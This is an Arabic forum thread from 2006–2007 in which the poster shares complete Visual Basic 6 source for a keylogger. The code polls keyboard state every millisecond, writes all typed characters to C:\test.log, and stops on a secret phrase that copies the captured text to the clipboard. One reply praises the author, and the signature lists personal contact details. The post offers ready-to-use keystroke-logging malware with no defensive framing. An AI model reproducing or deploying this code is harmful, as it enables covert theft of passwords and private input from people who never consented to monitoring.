لمراقبة ازرار لوحة المفاتيح وتسجيلها في ملف خارجي

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل

default لمراقبة ازرار لوحة المفاتيح وتسجيلها في ملف خارجي

مُساهمة من طرف Admin في الخميس أكتوبر 19, 2006 11:51 pm

اولا اكتب هذا الكود في موديول
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
On Error Resume Next
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
On Error Resume Next
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
Open "C:\test.log" For
'هذا هو مسار حفظ الملف
Output As #1
Print #1, sSave
Close #1
End If
If InStr(sSave, "kill it by jadquraan") > 0 Or InStr(sSave, "KILL IT BY JADQURAAN") > 0 Then
'هذا الكود لإقاف عمل البرنامج
'فإذا كتبنا
'KILL IT BY JADQURAAN يقوم بإقاف عمل البرنامج
KillTimer Form1.hwnd, 0
Clipboard.SetText (sSave)
MsgBox " I HAVE IT NOW ", vbOKOnly + vbInformation, "SYSTEM"
End
End If
End Sub

ثانيا اكتب هذا الكود في الفورم لود
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Sub Form_Load()
On Error Resume Next
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
KillTimer Me.hwnd, 0
End Sub


ودمتم سالمين


عدل سابقا من قبل في الخميس أغسطس 16, 2007 10:40 am عدل 1 مرات

_________________
إذا أعجبك موضوع من مواضيعي فلا تقل شكـراً ...
بل قل الآتـي ::
اللهم اغفر له ولوالديه ولزوجته وابنائه ولأخوانه واخواته ولسائر المسلمين ماتقدم من ذنبهم وما تأخر..
وقِهم عذاب القبر وعذاب النار..
و أدخلهم الفردوس الأعلى مع الأنبياء والشهداء والصالحين ..
واجعل دعاءهم مستجاب في الدنيا والآخرة ..
اللـهم آميـن..اللـهم آميـن..اللـهم آميـن..

اخوكم جاد القرعان
الأردن- الطفيلة
jadquraan@yahoo.com
jad_quraansoft@hotmail.com
00962777765709
avatar
Admin
jadquraan
jadquraan

عدد الرسائل : 125
العمر : 34
تاريخ التسجيل : 19/10/2006

معاينة صفحة البيانات الشخصي للعضو http://jad4vb.lightbb.com

الرجوع الى أعلى الصفحة اذهب الى الأسفل

default رد: لمراقبة ازرار لوحة المفاتيح وتسجيلها في ملف خارجي

مُساهمة من طرف سما في الأربعاء أغسطس 15, 2007 4:20 pm

والله اول مرة ابي اكتب رد وتتوقف انامل يدي عن شكر صاحبها لان الشكر لشيء قليل في حقك يامبرمج المستقبل العظيم

سما
عضو نشط
عضو نشط

عدد الرسائل : 12
تاريخ التسجيل : 15/08/2007

معاينة صفحة البيانات الشخصي للعضو

الرجوع الى أعلى الصفحة اذهب الى الأسفل

استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة


 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى